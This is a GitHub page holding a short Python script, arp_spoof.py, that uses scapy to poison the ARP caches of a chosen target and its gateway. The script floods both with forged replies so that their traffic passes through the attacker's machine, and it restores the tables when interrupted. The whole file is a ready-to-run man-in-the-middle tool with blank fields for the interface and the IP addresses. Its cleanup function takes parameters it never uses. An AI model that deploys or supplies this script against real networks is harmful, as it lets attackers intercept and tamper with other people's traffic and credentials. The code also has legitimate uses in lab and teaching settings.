-
Notifications
You must be signed in to change notification settings - Fork 1
/
arp_spoof.py
38 lines (31 loc) · 1.47 KB
/
arp_spoof.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import time
from scapy.all import ARP, send, Ether, srp
def get_mac_addr(ip):
arp_request = ARP(pdst = ip)
broadcast = Ether(dst ="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
answered_list = srp(arp_request_broadcast, timeout = 5, verbose = False)[0]
return answered_list[0][1].hwsrc
def restore(destination_ip, source_ip):
arp_reply_to_target = ARP(op=2, psrc=gateway_ip, hwsrc=get_mac_addr(gateway_ip), hwdst=get_mac_addr(target_ip), pdst=target_ip)
arp_reply_to_gateway = ARP(op=2, psrc=target_ip, hwsrc=get_mac_addr(target_ip), hwdst=get_mac_addr(gateway_ip), pdst=gateway_ip)
for _ in range(4):
send(arp_reply_to_target, iface=interface, verbose=False)
send(arp_reply_to_gateway, iface=interface, verbose=False)
time.sleep(1)
print(f"Clean up.")
def spoof_arp(interface, gateway_ip, target_ip):
arp_reply_to_target = ARP(op=2, psrc=gateway_ip, hwdst=get_mac_addr(target_ip), pdst=target_ip)
arp_reply_to_gateway = ARP(op=2, psrc=target_ip, hwdst=get_mac_addr(gateway_ip), pdst=gateway_ip)
while True:
send(arp_reply_to_target, iface=interface, verbose=False)
send(arp_reply_to_gateway, iface=interface, verbose=False)
print(f"Sent ARP replies: {gateway_ip} <-> {target_ip}.")
time.sleep(2)
interface = ""
gateway_ip = ""
target_ip = ""
try:
spoof_arp(interface, gateway_ip, target_ip)
except KeyboardInterrupt:
restore(gateway_ip, target_ip)